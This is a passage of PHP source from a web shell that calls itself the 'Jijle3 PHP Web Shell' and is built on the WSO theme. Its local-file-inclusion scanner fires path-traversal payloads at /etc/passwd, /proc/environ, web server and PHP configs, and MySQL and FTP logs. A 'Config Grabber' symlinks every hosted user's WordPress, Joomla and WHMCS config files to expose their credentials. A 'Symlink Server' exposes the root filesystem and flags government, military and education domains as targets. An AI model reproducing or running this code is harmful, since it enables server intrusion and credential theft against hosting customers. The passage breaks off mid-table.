551 $target = $_POST['lfiurl'];
552 $type = $_POST['scantype'];
553 $byte1 = $_POST['null'];
554 $lfitest = "../../../../../../../../../../../../../../etc/passwd".$byte1."";
555 $lfitest2 = "../../../../../../../../../../../../../../fake/file".$byte1."";
556 $lfiprocenv = "../../../../../../../../../../../../../../proc/environ".$byte1."";
557 $lfiaccess = array(
558 1 => "../../../../../../../../../../../../../../apache/logs/access.log".$byte1."",
559 2 => "../../../../../../../../../../../../../../etc/httpd/logs/acces_log".$byte1."",
560 3 => "../../../../../../../../../../../../../../etc/httpd/logs/acces.log".$byte1."",
561 4 => "../../../../../../../../../../../../../../var/www/logs/access_log".$byte1."",
562 5 => "../../../../../../../../../../../../../../var/www/logs/access.log".$byte1."",
563 6 => "../../../../../../../../../../../../../../usr/local/apache/logs/access_log".$byte1."",
564 7 => "../../../../../../../../../../../../../../usr/local/apache/logs/access.log".$byte1."",
565 8 => "../../../../../../../../../../../../../../var/log/apache/access_log".$byte1."",
566 9 => "../../../../../../../../../../../../../../var/log/apache2/access_log".$byte1."",
567 10 => "../../../../../../../../../../../../../../var/log/apache/access.log".$byte1."",
568 11 => "../../../../../../../../../../../../../../var/log/apache2/access.log".$byte1."",
569 12 => "../../../../../../../../../../../../../../var/log/access_log".$byte1."",
570 13 => "../../../../../../../../../../../../../../var/log/access.log".$byte1."",
571 14 => "../../../../../../../../../../../../../../var/log/httpd/access_log".$byte1."",
572 15 => "../../../../../../../../../../../../../../apache2/logs/access.log".$byte1."",
573 16 => "../../../../../../../../../../../../../../logs/access.log".$byte1."",
574 17 => "../../../../../../../../../../../../../../usr/local/apache2/logs/access_log".$byte1."",
575 18 => "../../../../../../../../../../../../../../usr/local/apache2/logs/access.log".$byte1."",
576 19 => "../../../../../../../../../../../../../../var/log/httpd/access.log".$byte1."",
577 20 => "../../../../../../../../../../../../../../opt/lampp/logs/access_log".$byte1."",
578 21 => "../../../../../../../../../../../../../../opt/xampp/logs/access_log".$byte1."",
579 22 => "../../../../../../../../../../../../../../opt/lampp/logs/access.log".$byte1."",
580 23 => "../../../../../../../../../../../../../../opt/xampp/logs/access.log".$byte1."");
581
582 $lfierror = array(
583 1 => "../../../../../../../../../../../../../../apache/logs/error.log".$byte1."",
584 2 => "../../../../../../../../../../../../../../etc/httpd/logs/error_log".$byte1."",
585 3 => "../../../../../../../../../../../../../../etc/httpd/logs/error.log".$byte1."",
586 4 => "../../../../../../../../../../../../../../var/www/logs/error_log".$byte1."",
587 5 => "../../../../../../../../../../../../../../var/www/logs/error.log".$byte1."",
588 6 => "../../../../../../../../../../../../../../usr/local/apache/logs/error_log".$byte1."",
589 7 => "../../../../../../../../../../../../../../usr/local/apache/logs/error.log".$byte1."",
590 8 => "../../../../../../../../../../../../../../var/log/apache/error_log".$byte1."",
591 9 => "../../../../../../../../../../../../../../var/log/apache2/error_log".$byte1."",
592 10 => "../../../../../../../../../../../../../../var/log/apache/error.log".$byte1."",
593 11 => "../../../../../../../../../../../../../../var/log/apache2/error.log".$byte1."",
594 12 => "../../../../../../../../../../../../../../var/log/error_log".$byte1."",
595 13 => "../../../../../../../../../../../../../../var/log/error.log".$byte1."",
596 14 => "../../../../../../../../../../../../../../var/log/httpd/error_log".$byte1."",
597 15 => "../../../../../../../../../../../../../../apache2/logs/error.log".$byte1."",
598 16 => "../../../../../../../../../../../../../../logs/error.log".$byte1."",
599 17 => "../../../../../../../../../../../../../../usr/local/apache2/logs/error_log".$byte1."",
600 18 => "../../../../../../../../../../../../../../usr/local/apache2/logs/error.log".$byte1."",
601 19 => "../../../../../../../../../../../../../../var/log/httpd/error.log".$byte1."",
602 20 => "../../../../../../../../../../../../../../opt/lampp/logs/error_log".$byte1."",
603 21 => "../../../../../../../../../../../../../../opt/xampp/logs/error_log".$byte1."",
604 22 => "../../../../../../../../../../../../../../opt/lampp/logs/error.log".$byte1."",
605 23 => "../../../../../../../../../../../../../../opt/xampp/logs/error.log".$byte1."");
606
607 $lficonfig = array(
608 1 => "../../../../../../../../../../../../../../../usr/local/apache/conf/httpd.conf".$byte1."",
609 2 => "../../../../../../../../../../../../../../../usr/local/apache2/conf/httpd.conf".$byte1."",
610 3 => "../../../../../../../../../../../../../../../etc/httpd/conf/httpd.conf".$byte1."",
611 4 => "../../../../../../../../../../../../../../../etc/apache/conf/httpd.conf".$byte1."",
612 5 => "../../../../../../../../../../../../../../../usr/local/etc/apache/conf/httpd.conf".$byte1."",
613 6 => "../../../../../../../../../../../../../../../etc/apache2/httpd.conf".$byte1."",
614 7 => "../../../../../../../../../../../../../../../usr/local/apache/httpd.conf".$byte1."",
615 8 => "../../../../../../../../../../../../../../../usr/local/apache2/httpd.conf".$byte1."",
616 9 => "../../../../../../../../../../../../../../../usr/local/httpd/conf/httpd.conf".$byte1."",
617 10 => "../../../../../../../../../../../../../../../usr/local/etc/apache2/conf/httpd.conf".$byte1."",
618 11 => "../../../../../../../../../../../../../../../usr/local/etc/httpd/conf/httpd.conf".$byte1."",
619 12 => "../../../../../../../../../../../../../../../usr/apache2/conf/httpd.conf".$byte1."",
620 13 => "../../../../../../../../../../../../../../../usr/apache/conf/httpd.conf".$byte1."",
621 14 => "../../../../../../../../../../../../../../../usr/local/apps/apache2/conf/httpd.conf".$byte1."",
622 15 => "../../../../../../../../../../../../../../../usr/local/apps/apache/conf/httpd.conf".$byte1."",
623 16 => "../../../../../../../../../../../../../../../etc/apache2/conf/httpd.conf".$byte1."",
624 17 => "../../../../../../../../../../../../../../../etc/http/conf/httpd.conf".$byte1."",
625 18 => "../../../../../../../../../../../../../../../etc/httpd/httpd.conf".$byte1."",
626 19 => "../../../../../../../../../../../../../../../etc/http/httpd.conf".$byte1."",
627 20 => "../../../../../../../../../../../../../../../etc/httpd.conf".$byte1."",
628 21 => "../../../../../../../../../../../../../../../opt/apache/conf/httpd.conf".$byte1."",
629 22 => "../../../../../../../../../../../../../../../opt/apache2/conf/httpd.conf".$byte1."",
630 23 => "../../../../../../../../../../../../../../../var/www/conf/httpd.conf".$byte1."",
631 24 => "../../../../../../../../../../../../../../../private/etc/httpd/httpd.conf".$byte1."",
632 25 => "../../../../../../../../../../../../../../../private/etc/httpd/httpd.conf.default".$byte1."",
633 26 => "../../../../../../../../../../../../../../../Volumes/webBackup/opt/apache2/conf/httpd.conf".$byte1."",
634 27 => "../../../../../../../../../../../../../../../Volumes/webBackup/private/etc/httpd/httpd.conf".$byte1."",
635 28 => "../../../../../../../../../../../../../../../Volumes/webBackup/private/etc/httpd/httpd.conf.default".$byte1."",
636 29 => "../../../../../../../../../../../../../../../usr/local/php/httpd.conf.php".$byte1."",
637 30 => "../../../../../../../../../../../../../../../usr/local/php4/httpd.conf.php".$byte1."",
638 31 => "../../../../../../../../../../../../../../../usr/local/php5/httpd.conf.php".$byte1."",
639 32 => "../../../../../../../../../../../../../../../usr/local/php/httpd.conf".$byte1."",
640 33 => "../../../../../../../../../../../../../../../usr/local/php4/httpd.conf".$byte1."",
641 34 => "../../../../../../../../../../../../../../../usr/local/php5/httpd.conf".$byte1."",
642 35 => "../../../../../../../../../../../../../../../usr/local/etc/apache/vhosts.conf".$byte1."");
643
644 $lfiphpini = array(
645 1 => "../../../../../../../../../../../../../../../etc/php.ini".$byte1."",
646 2 => "../../../../../../../../../../../../../../../bin/php.ini".$byte1."",
647 3 => "../../../../../../../../../../../../../../../etc/httpd/php.ini".$byte1."",
648 4 => "../../../../../../../../../../../../../../../usr/lib/php.ini".$byte1."",
649 5 => "../../../../../../../../../../../../../../../usr/lib/php/php.ini".$byte1."",
650 6 => "../../../../../../../../../../../../../../../usr/local/etc/php.ini".$byte1."",
651 7 => "../../../../../../../../../../../../../../../usr/local/lib/php.ini".$byte1."",
652 8 => "../../../../../../../../../../../../../../../usr/local/php/lib/php.ini".$byte1."",
653 9 => "../../../../../../../../../../../../../../../usr/local/php4/lib/php.ini".$byte1."",
654 10 => "../../../../../../../../../../../../../../../usr/local/php5/lib/php.ini".$byte1."",
655 11 => "../../../../../../../../../../../../../../../usr/local/apache/conf/php.ini".$byte1."",
656 12 => "../../../../../../../../../../../../../../../etc/php4.4/fcgi/php.ini".$byte1."",
657 13 => "../../../../../../../../../../../../../../../etc/php4/apache/php.ini".$byte1."",
658 14 => "../../../../../../../../../../../../../../../etc/php4/apache2/php.ini".$byte1."",
659 15 => "../../../../../../../../../../../../../../../etc/php5/apache/php.ini".$byte1."",
660 16 => "../../../../../../../../../../../../../../../etc/php5/apache2/php.ini".$byte1."",
661 17 => "../../../../../../../../../../../../../../../etc/php/php.ini".$byte1."",
662 18 => "../../../../../../../../../../../../../../../etc/php/php4/php.ini".$byte1."",
663 19 => "../../../../../../../../../../../../../../../etc/php/apache/php.ini".$byte1."",
664 20 => "../../../../../../../../../../../../../../../etc/php/apache2/php.ini".$byte1."",
665 21 => "../../../../../../../../../../../../../../../web/conf/php.ini".$byte1."",
666 22 => "../../../../../../../../../../../../../../../usr/local/Zend/etc/php.ini".$byte1."",
667 23 => "../../../../../../../../../../../../../../../opt/xampp/etc/php.ini".$byte1."",
668 24 => "../../../../../../../../../../../../../../../var/local/www/conf/php.ini".$byte1."",
669 25 => "../../../../../../../../../../../../../../../etc/php/cgi/php.ini".$byte1."",
670 26 => "../../../../../../../../../../../../../../../etc/php4/cgi/php.ini".$byte1."",
671 27 => "../../../../../../../../../../../../../../../etc/php5/cgi/php.ini".$byte1."");
672
673 $lfimysql = array(
674 1 => "../../../../../../../../../../../../../../../var/log/mysql/mysql-bin.log".$byte1."",
675 2 => "../../../../../../../../../../../../../../../var/log/mysql.log".$byte1."",
676 3 => "../../../../../../../../../../../../../../../var/log/mysqlderror.log".$byte1."",
677 4 => "../../../../../../../../../../../../../../../var/log/mysql/mysql.log".$byte1."",
678 5 => "../../../../../../../../../../../../../../../var/log/mysql/mysql-slow.log".$byte1."",
679 6 => "../../../../../../../../../../../../../../../var/mysql.log".$byte1."",
680 7 => "../../../../../../../../../../../../../../../var/lib/mysql/my.cnf".$byte1."",
681 8 => "../../../../../../../../../../../../../../../etc/mysql/my.cnf".$byte1."",
682 9 => "../../../../../../../../../../../../../../../var/log/mysqld.log".$byte1."",
683 10 => "../../../../../../../../../../../../../../../etc/my.cnf".$byte1."");
684
685 $lfiftp = array(
686 1 => "../../../../../../../../../../../../../../../etc/logrotate.d/proftpd".$byte1."",
687 2 => "../../../../../../../../../../../../../../../www/logs/proftpd.system.log".$byte1."",
688 3 => "../../../../../../../../../../../../../../../var/log/proftpd".$byte1."",
689 4 => "../../../../../../../../../../../../../../../etc/proftp.conf".$byte1."",
690 5 => "../../../../../../../../../../../../../../../etc/protpd/proftpd.conf".$byte1."",
691 6 => "../../../../../../../../../../../../../../../etc/vhcs2/proftpd/proftpd.conf".$byte1."",
692 7 => "../../../../../../../../../../../../../../../etc/proftpd/modules.conf".$byte1."",
693 8 => "../../../../../../../../../../../../../../../var/log/vsftpd.log".$byte1."",
694 9 => "../../../../../../../../../../../../../../../etc/vsftpd.chroot_list".$byte1."",
695 10 => "../../../../../../../../../../../../../../../etc/logrotate.d/vsftpd.log".$byte1."",
696 11 => "../../../../../../../../../../../../../../../etc/vsftpd/vsftpd.conf".$byte1."",
697 12 => "../../../../../../../../../../../../../../../etc/vsftpd.conf".$byte1."",
698 13 => "../../../../../../../../../../../../../../../etc/chrootUsers".$byte1."",
699 14 => "../../../../../../../../../../../../../../../var/log/xferlog".$byte1."",
700 15 => "../../../../../../../../../../../../../../../var/adm/log/xferlog".$byte1."",
701 16 => "../../../../../../../../../../../../../../../etc/wu-ftpd/ftpaccess".$byte1."",
702 17 => "../../../../../../../../../../../../../../../etc/wu-ftpd/ftphosts".$byte1."",
703 18 => "../../../../../../../../../../../../../../../etc/wu-ftpd/ftpusers".$byte1."",
704 19 => "../../../../../../../../../../../../../../../usr/sbin/pure-config.pl".$byte1."",
705 20 => "../../../../../../../../../../../../../../../usr/etc/pure-ftpd.conf".$byte1."",
706 21 => "../../../../../../../../../../../../../../../etc/pure-ftpd/pure-ftpd.conf".$byte1."",
707 22 => "../../../../../../../../../../../../../../../usr/local/etc/pure-ftpd.conf".$byte1."",
708 23 => "../../../../../../../../../../../../../../../usr/local/etc/pureftpd.pdb".$byte1."",
709 24 => "../../../../../../../../../../../../../../../usr/local/pureftpd/etc/pureftpd.pdb".$byte1."",
710 25 => "../../../../../../../../../../../../../../../usr/local/pureftpd/sbin/pure-config.pl".$byte1."",
711 26 => "../../../../../../../../../../../../../../../usr/local/pureftpd/etc/pure-ftpd.conf".$byte1."",
712 27 => "../../../../../../../../../../../../../../../etc/pure-ftpd.conf".$byte1."",
713 28 => "../../../../../../../../../../../../../../../etc/pure-ftpd/pure-ftpd.pdb".$byte1."",
714 29 => "../../../../../../../../../../../../../../../etc/pureftpd.pdb".$byte1."",
715 30 => "../../../../../../../../../../../../../../../etc/pureftpd.passwd".$byte1."",
716 31 => "../../../../../../../../../../../../../../../etc/pure-ftpd/pureftpd.pdb".$byte1."",
717 32 => "../../../../../../../../../../../../../../../usr/ports/ftp/pure-ftpd/".$byte1."",
718 33 => "../../../../../../../../../../../../../../../usr/ports/net/pure-ftpd/".$byte1."",
719 34 => "../../../../../../../../../../../../../../../usr/pkgsrc/net/pureftpd/".$byte1."",
720 35 => "../../../../../../../../../../../../../../../usr/ports/contrib/pure-ftpd/".$byte1."",
721 36 => "../../../../../../../../../../../../../../../var/log/pure-ftpd/pure-ftpd.log".$byte1."",
722 37 => "../../../../../../../../../../../../../../../logs/pure-ftpd.log".$byte1."",
723 38 => "../../../../../../../../../../../../../../../var/log/pureftpd.log".$byte1."",
724 39 => "../../../../../../../../../../../../../../../var/log/ftp-proxy/ftp-proxy.log".$byte1."",
725 40 => "../../../../../../../../../../../../../../../var/log/ftp-proxy".$byte1."",
726 41 => "../../../../../../../../../../../../../../../var/log/ftplog".$byte1."",
727 42 => "../../../../../../../../../../../../../../../etc/logrotate.d/ftp".$byte1."",
728 43 => "../../../../../../../../../../../../../../../etc/ftpchroot".$byte1."",
729 44 => "../../../../../../../../../../../../../../../etc/ftphosts".$byte1."");
730
731
732 $x = 1;
733 if ( $type == 1 ) {
734 $res1 = FetchURL($target.$lfitest);
735 $res2 = FetchURL($target.$lfitest2);
736 $rhash1 = md5($res1);
737 $rhash2 = md5($res2);
738 if ($rhash1 != $rhash2) {
739 print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br />";
740 while($lfiaccess[$x]) {
741 $res3 = FetchURL($target.$lfiaccess[$x]);
742 $rhash3 = md5($res3);
743 if ($rhash3 != $rhash2) {
744 print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lfiaccess[$x]."\">".$target."".$lfiaccess[$x]."</a><br />";
745 }
746 else {
747 print "<font color='red'>[!] Failed!</font>".$target."".$lfiaccess[$x]."<br />";
748 }
749 $x++;
750 }
751 }
752 }
753 if ( $type == 2 ) {
754 $res1 = FetchURL($target.$lfitest);
755 $res2 = FetchURL($target.$lfitest2);
756 $rhash1 = md5($res1);
757 $rhash2 = md5($res2);
758 if ($rhash1 != $rhash2) {
759 print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br />";
760 while($lficonfig[$x]) {
761 $res3 = FetchURL($target.$lficonfig[$x]);
762 $rhash3 = md5($res3);
763 if ($rhash3 != $rhash2) {
764 print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lficonfig[$x]."\">".$target."".$lficonfig[$x]."</a><br />";
765 }
766 else {
767 print "<font color='red'>[!] Failed!</font>".$target."".$lficonfig[$x]."<br />";
768 }
769 $x++;
770 }
771 }
772 }
773 if ( $type == 3 ) {
774 $res1 = FetchURL($target.$lfitest);
775 $res2 = FetchURL($target.$lfitest2);
776 $rhash1 = md5($res1);
777 $rhash2 = md5($res2);
778 if ($rhash1 != $rhash2) {
779 print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br />";
780 while($lfierror[$x]) {
781 $res3 = FetchURL($target.$lfierror[$x]);
782 $rhash3 = md5($res3);
783 if ($rhash3 != $rhash2) {
784 print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lfierror[$x]."\">".$target."".$lfierror[$x]."</a><br />";
785 }
786 else {
787 print "<font color='red'>[!] Failed!</font>".$target."".$lfierror[$x]."<br />";
788 }
789 $x++;
790 }
791 }
792 }
793 if ( $type == 4 ) {
794 $res1 = FetchURL($target.$lfitest);
795 $res2 = FetchURL($target.$lfitest2);
796 $rhash1 = md5($res1);
797 $rhash2 = md5($res2);
798 if ($rhash1 != $rhash2) {
799 print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br />";
800 while($lfiphpini[$x]) {
801 $res3 = FetchURL($target.$lfiphpini[$x]);
802 $rhash3 = md5($res3);
803 if ($rhash3 != $rhash2) {
804 print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lfiphpini[$x]."\">".$target."".$lfiphpini[$x]."</a><br />";
805 }
806 else {
807 print "<font color='red'>[!] Failed!</font>".$target."".$lfiphpini[$x]."<br />";
808 }
809 $x++;
810 }
811 }
812 }
813 if ( $type == 5 ) {
814 $res1 = FetchURL($target.$lfitest);
815 $res2 = FetchURL($target.$lfitest2);
816 $rhash1 = md5($res1);
817 $rhash2 = md5($res2);
818 if ($rhash1 != $rhash2) {
819 print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br />";
820 while($lfimysql[$x]) {
821 $res3 = FetchURL($target.$lfimysql[$x]);
822 $rhash3 = md5($res3);
823 if ($rhash3 != $rhash2) {
824 print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lfimysql[$x]."\">".$target."".$lfimysql[$x]."</a><br />";
825 }
826 else {
827 print "<font color='red'>[!] Failed!</font>".$target."".$lfimysql[$x]."<br />";
828 }
829 $x++;
830 }
831 }
832 }
833 if ( $type == 6 ) {
834 $res1 = FetchURL($target.$lfitest);
835 $res2 = FetchURL($target.$lfitest2);
836 $rhash1 = md5($res1);
837 $rhash2 = md5($res2);
838 if ($rhash1 != $rhash2) {
839 print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br />";
840 while($lfiftp[$x]) {
841 $res3 = FetchURL($target.$lfiftp[$x]);
842 $rhash3 = md5($res3);
843 if ($rhash3 != $rhash2) {
844 print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lfiftp[$x]."\">".$target."".$lfiftp[$x]."</a><br />";
845 }
846 else {
847 print "<font color='red'>[!] Failed!</font>".$target."".$lfiftp[$x]."<br />";
848 }
849 $x++;
850 }
851 }
852 }
853if ( $type == 7 ) {
854 $res1 = FetchURL($target.$lfitest);
855 $res2 = FetchURL($target.$lfitest2);
856 $rhash1 = md5($res1);
857 $rhash2 = md5($res2);
858 if ($rhash1 != $rhash2) {
859 print "<font color='green'>[+] Exploitable!</font> <a href=\"".$target."".$lfitest."\">".$target."".$lfitest."</a><br />";{
860 $res3 = FetchURL($target.$lfiprocenv);
861 $rhash3 = md5($res3);
862 if ($rhash3 != $rhash2) {
863 print "<font color='green'>[+] File detected!</font> <a href=\"".$target."".$lfiprocenv."\">".$target."".$lfiprocenv."</a><br />";
864 }
865 else {
866 print "<font color='red'>[!] Failed!</font>".$target."".$lfiprocenv."<br />";
867 }
868 }
869 }
870 }
871 }
872wsoFooter();
873}
874
875###################### Config Grabber ######################
876function actionconfig() {
877wsoHeader();
878
879echo "<center>
880<h1>Config Grabber</h1>
881";
882?></center><br><center><?php if (empty($_POST['config'])) { ?><p><font face="Tahoma" color="white" size="2pt">Put /etc/passwd</p><br><form method="POST"><textarea name="passwd" class='area' rows='15' cols='60'><?php echo file_get_contents('/etc/passwd');
883?>
884</textarea><br><br><input name="config" class='inputzbut' size="100" value="Get The Configs !" type="submit"><br><input type="hidden" name="a" value="config"></form></center><br>
885<?php
886 }
887 if ($_POST['config']) {
888 $function = $functions = @ini_get("disable_functions");
889 if (eregi("symlink", $functions)) {
890 die('<error>Symlink is disabled :( </error>');
891 }
892 @mkdir('phdz-config', 0755);
893 @chdir('phdz-config');
894 $htaccess = "
895OPTIONS Indexes FollowSymLinks SymLinksIfOwnerMatch Includes IncludesNOEXEC ExecCGI
896Options Indexes FollowSymLinks
897ForceType text/plain
898AddType text/plain .php
899AddType text/plain .html
900AddType text/html .shtml
901AddType txt .php
902AddHandler server-parsed .php
903AddHandler txt .php
904AddHandler txt .html
905AddHandler txt .shtml
906Options All
907Options All";
908 file_put_contents(".htaccess", $htaccess, FILE_APPEND);
909 $passwd = $_POST["passwd"];
910 $passwd = explode("
911", $passwd);
912 echo "<br><br><center><font>Bism Allah</center><br>";
913 foreach ($passwd as $pwd) {
914 $pawd = explode(":", $pwd);
915 $user = $pawd[0];
916 @symlink('/home/' . $user . '/public_html/wp-config.php', $user . '-wp13.txt');
917 @symlink('/home/' . $user . '/public_html/wp/wp-config.php', $user . '-wp13-wp.txt');
918 @symlink('/home/' . $user . '/public_html/WP/wp-config.php', $user . '-wp13-WP.txt');
919 @symlink('/home/' . $user . '/public_html/wp/beta/wp-config.php', $user . '-wp13-wp-beta.txt');
920 @symlink('/home/' . $user . '/public_html/beta/wp-config.php', $user . '-wp13-beta.txt');
921 @symlink('/home/' . $user . '/public_html/press/wp-config.php', $user . '-wp13-press.txt');
922 @symlink('/home/' . $user . '/public_html/wordpress/wp-config.php', $user . '-wp13-wordpress.txt');
923 @symlink('/home/' . $user . '/public_html/Wordpress/wp-config.php', $user . '-wp13-Wordpress.txt');
924 @symlink('/home/' . $user . '/public_html/blog/wp-config.php', $user . '-wp13-Wordpress.txt');
925 @symlink('/home/' . $user . '/public_html/config.php', $user . '-configgg.txt');
926 @symlink('/home/' . $user . '/public_html/news/wp-config.php', $user . '-wp13-news.txt');
927 @symlink('/home/' . $user . '/public_html/new/wp-config.php', $user . '-wp13-new.txt');
928 @symlink('/home/' . $user . '/public_html/blog/wp-config.php', $user . '-wp-blog.txt');
929 @symlink('/home/' . $user . '/public_html/beta/wp-config.php', $user . '-wp-beta.txt');
930 @symlink('/home/' . $user . '/public_html/blogs/wp-config.php', $user . '-wp-blogs.txt');
931 @symlink('/home/' . $user . '/public_html/home/wp-config.php', $user . '-wp-home.txt');
932 @symlink('/home/' . $user . '/public_html/db.php', $user . '-dbconf.txt');
933 @symlink('/home/' . $user . '/public_html/site/wp-config.php', $user . '-wp-site.txt');
934 @symlink('/home/' . $user . '/public_html/main/wp-config.php', $user . '-wp-main.txt');
935 @symlink('/home/' . $user . '/public_html/configuration.php', $user . '-wp-test.txt');
936 @symlink('/home/' . $user . '/public_html/joomla/configuration.php', $user . '-joomla2.txt');
937 @symlink('/home/' . $user . '/public_html/portal/configuration.php', $user . '-joomla-protal.txt');
938 @symlink('/home/' . $user . '/public_html/joo/configuration.php', $user . '-joo.txt');
939 @symlink('/home/' . $user . '/public_html/cms/configuration.php', $user . '-joomla-cms.txt');
940 @symlink('/home/' . $user . '/public_html/site/configuration.php', $user . '-joomla-site.txt');
941 @symlink('/home/' . $user . '/public_html/main/configuration.php', $user . '-joomla-main.txt');
942 @symlink('/home/' . $user . '/public_html/news/configuration.php', $user . '-joomla-news.txt');
943 @symlink('/home/' . $user . '/public_html/new/configuration.php', $user . '-joomla-new.txt');
944 @symlink('/home/' . $user . '/public_html/home/configuration.php', $user . '-joomla-home.txt');
945 @symlink('/home/' . $user . '/public_html/vb/includes/config.php', $user . '-vb-config.txt');
946 @symlink('/home/' . $user . '/public_html/whm/configuration.php', $user . '-whm15.txt');
947 @symlink('/home/' . $user . '/public_html/central/configuration.php', $user . '-whm-central.txt');
948 @symlink('/home/' . $user . '/public_html/whm/whmcs/configuration.php', $user . '-whm-whmcs.txt');
949 @symlink('/home/' . $user . '/public_html/whm/WHMCS/configuration.php', $user . '-whm-WHMCS.txt');
950 @symlink('/home/' . $user . '/public_html/whmc/WHM/configuration.php', $user . '-whmc-WHM.txt');
951 @symlink('/home/' . $user . '/public_html/whmcs/configuration.php', $user . '-whmcs.txt');
952 @symlink('/home/' . $user . '/public_html/support/configuration.php', $user . '-support.txt');
953 @symlink('/home/' . $user . '/public_html/configuration.php', $user . '-joomla.txt');
954 @symlink('/home/' . $user . '/public_html/submitticket.php', $user . '-whmcs2.txt');
955 @symlink('/home/' . $user . '/public_html/whm/configuration.php', $user . '-whm.txt');
956 }
957 echo '<b class="cone"><font><b>Configs Link : </b> <a target="_blank" href="phdz-config">[ Configs ]</a></font></b>';
958 }
959 wsoFooter();
960 }
961 ###################### About ############################
962 function actionabout() {
963 wsoHeader();
964 echo '
965<center>
966<h1>[ About ]</h1>
967<br /><br />
968</form>
969';
970?><head>
971<span class="style1"><font size="3" color="#FFFFFF" face="Adobe Heiti Std R"></font> <div style='font-family: Courier New; font-size: 10px;'><font color='white' class=txt ><pre>
972 _ _ _ _ _____ ____ _ _ ____
973 | | (_) (_) | | ___ |___ / | _ \ | | | | | _ \
974 _ | | | | | | | | / _ \ |_ \ | |_) | | |_| | | |_) |
975| |_| | | | | | | | | __/ ___) | | __/ | _ | | __/
976 \___/ |_| _/ | |_| \___| |____/ |_| |_| |_| |_|
977 |__/
978 ____ _ _ _
979/ ___| | |__ ___ | | | |
980\___ \ | '_ \ / _ \ | | | |
981 ___) | | | | | | __/ | | | |
982|____/ |_| |_| \___| |_| |_|
983<span class="style1"><font size="9" color="#FFFFFF" face="Adobe Heiti Std R"></font><p>
984<pre>
985<iframe src="//www.facebook.com/plugins/likebox.php?href=https%3A%2F%2Fwww.facebook.com%2FJ1jeI&width&height=62&colorscheme=light&show_faces=false&header=true&stream=false&show_border=true" scrolling="no" frameborder="0" style="border:none; overflow:hidden; height:62px;" allowTransparency="true"></iframe><pre>
986<p><font size="7" color="red" face="Adobe Heiti Std R"></font></span></p>
987Jijle3 PHP Web Shell Created To Make Web Site Hacking More Easy ..<br><br> And To Gev You Some Normal Tools ! With WSO Theme<br><br> iF You Want Me To Add A Notther Tools in Secend Virsion Mail Me in My E-mail Bellow Or in My Facebook Page !<br><br></font><font size="9" face="Adobe Heiti Std R" color="#008000"></font><font size="7" color="red" face="Adobe Heiti Std R"></font></span></p>
988<div style='font-family: Courier New; font-size: 10px;'><font size='2' class=txt ><pre>
989Coded By Phenomene Dz <br>Algeria - Jijel<br>Finished in 2015/02/03<br>My Email - dzph@bk.ru -<br>Youtube Channel <a href="http://www.youtube.com/DZPH/" target="_blank">YouTube</a><br><br>All Right Reserved (C) Phenomene Dz - Martyrs Crew 2015
990<font size="13" face="Adobe Heiti Std R" color="red"></font><font size="7" color="red" face="Adobe Heiti Std R"></font></span></p>
991[ Thanks To ] <br><br>Abod Hack - Red Ck - Ghost1145 - Prodigy Tn - EL Moj4hid - Ghost dz - L'Apoca Dz - Mr Dz Gang <br><br> Sy3i4n K!lle3 - Red Hell Sofyan - Algeriano - Hero Dz - Cesc Dz - X Zone - K2ll33d - Almokawim <br><br> Martyrs Team - Algerian To The Core - 1337day Community Algeria - Fallaga Team <br><br> AnonGhost Team - Dz Team - Anonymous Dz - Backup Sec Dz <br><br> Sec4ever.com - Gaza-Hacker.net - Dev-Tun.tn - Fallaga.tn - Aljyyosh.com - dz-root.com - is-sec.com <br><br> And All My Freinds - All Muslims Hackers - All Algerian Hackers <font><font size="9" face="Adobe Heiti Std R" color="#008000"></font><font size="7" color="#FFFFFF" face="Adobe Heiti Std R"></font></span></p>
992<?
993wsoFooter(); }
994###################### Symlink Server ############################
995function actionsymserver() {
996wsoHeader();
997echo'<center><h1>Symlink Server</h1><br>';
998@set_time_limit(0);
999echo "<center>";
1000
1001@mkdir('phdz-symserver',0777);
1002$htaccess = "Options all
1003 DirectoryIndex readme.html
1004 AddType text/plain .php
1005 AddHandler server-parsed .php
1006 AddType text/plain .html
1007 AddHandler txt .html
1008 Require None
1009 Satisfy Any";
1010$write =@fopen ('phdz-symserver/.htaccess','w');
1011fwrite($write ,$htaccess);
1012@symlink('/','phdz-symserver/root');
1013$filelocation = basename(__FILE__);
1014$read_named_conf = @file('/etc/named.conf');
1015if(!$read_named_conf)
1016{
1017echo "<pre class=ml1 style='margin-top:5px'>[ /etc/named.conf ] ==> Not Writeable !</pre></center>";
1018}
1019else
1020{
1021echo "<br><br><div class='tmp'><table border='1' bordercolor='#FF0000' width='500' cellpadding='1' cellspacing='0'><td>Domains</td><td>Users</td><td>symlink </td>";
1022foreach($read_named_conf as $subject){
1023if(eregi('zone',$subject)){
1024preg_match_all('#zone "(.*)"#',$subject,$string);
1025flush();
1026if(strlen(trim($string[1][0])) >2){
1027$UID = posix_getpwuid(@fileowner('/etc/valiases/'.$string[1][0]));
1028$name = $UID['name'] ;
1029@symlink('/','sym/root');
1030$name = $string[1][0];
1031$iran = '\.ir';
1032$israel = '\.il';
1033$indo = '\.id';
1034$sg12 = '\.sg';
1035$edu = '\.edu';
1036$gov = '\.gov';
1037$gose = '\.go';
1038$gober = '\.gob';
1039$mil1 = '\.mil';
1040$mil2 = '\.mi';
1041if (eregi("$iran",$string[1][0]) or eregi("$israel",$string[1][0]) or eregi("$indo",$string[1][0])or eregi("$sg12",$string[1][0]) or eregi ("$edu",$string[1][0]) or eregi ("$gov",$string[1][0])
1042or eregi ("$gose",$string[1][0]) or eregi("$gober",$string[1][0]) or eregi("$mil1",$string[1][0]) or eregi ("$mil2",$string[1][0]))
1043{
1044$name = "<div style=' color: #FF0000 ; text-shadow: 0px 0px 1px red; '>".$string[1][0].'</div>';
1045}
1046echo "
1047<tr>
1048
1049<td>
